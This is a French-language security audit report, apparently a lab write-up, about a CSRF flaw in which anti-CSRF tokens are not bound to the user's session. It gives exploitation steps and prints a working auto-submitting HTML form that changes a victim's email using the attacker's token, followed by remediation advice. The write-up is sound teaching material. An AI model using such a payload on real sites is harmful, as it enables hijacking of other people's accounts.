

# Rapport d'Audit de Sécurité

## 1. Résumé Exécutif

|                    |                                                                                                                                                                          |
|--------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Cible :            | Laboratoire : Attaque CSRF lorsque le jeton n'est pas lié à la session utilisateur                                                                                       |
| Vulnérabilité :    | Défaut de liaison du jeton anti-CSRF : l'application valide un jeton CSRF valide généré par elle-même sans vérifier s'il est rattaché à la session active de la victime. |
| Niveau de Risque : | ÉLEVÉ (HIGH)                                                                                                                                                             |
| Impact :           | Compromission des données d'un utilisateur tiers (la victime) en injectant dans le payload malveillant un jeton récupéré depuis le compte de l'attaquant.                |

## 2. Description de la Vulnérabilité

Bien que l'application intègre un mécanisme de jeton anti-CSRF (paramètre `csrf`) pour contrer les falsifications de requêtes, elle présente une faille conceptuelle critique : le jeton est validé globalement par le serveur (vérification qu'il fait partie des jetons émis), mais il n'est **pas lié à la session active** de l'utilisateur qui l'utilise.

Par conséquent, un attaquant disposant de son propre compte sur l'application (ex: `wiener`) peut générer un jeton valide, puis l'injecter dans un formulaire CSRF ciblant un autre utilisateur (ex: la victime `carlos`). Lorsque le navigateur de la victime exécute le script malveillant, il transmet sa propre session couplée au jeton de l'attaquant. Le serveur valide le jeton sans s'apercevoir de la dissociation contextuelle.

## 3. Preuve de Concept (PoC) & Étapes de Réalisation

- Étape 1 - Génération du jeton attaquant : Connexion au compte `wiener`, récupération d'un jeton CSRF valide et frais depuis la page de modification d'e-mail.
- Étape 2 - Test Inter-sessions : Injection du jeton de `wiener` dans une requête de modification d'e-mail concernant le compte `carlos` (vérification via Repeater de l'acceptation de la requête).

### Étape 3 - Rédaction du payload d'exploitation :

```
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="victim-carlos@exploit-server.net">
  <input type="hidden" name="csrf" value="JETON_VALIDE_DE_WIENER">
</form>
<script>
  document.forms[0].submit();
</script>
```

**Étape 4 - Hébergement et Livraison :** Enregistrement du payload sur l'Exploit Server et déclenchement de la livraison au bot de la victime pour finaliser l'attaque.

## 4. Recommandations de Remédiation

- **Liaison stricte Jeton-Session :** S'assurer que le jeton anti-CSRF est cryptographiquement ou structurellement lié à la session de l'utilisateur (par exemple, stocké dans les données de session côté serveur et vérifié par correspondance stricte).
- **Jetons à usage unique et cloisonnés :** Invalider immédiatement le jeton dès son utilisation et refuser toute réutilisation inter-comptes.
- **Utilisation des cookies SameSite :** Renforcer la défense en configurant les cookies de session avec l'attribut `SameSite=Strict` ou `Lax`.

## 5. Conclusion

Ce laboratoire met en évidence qu'un jeton anti-CSRF n'offrant aucune corrélation avec l'identité de la session active de l'utilisateur offre une sécurité illusoire, facilement contournable par un attaquant authentifié sur la même plateforme.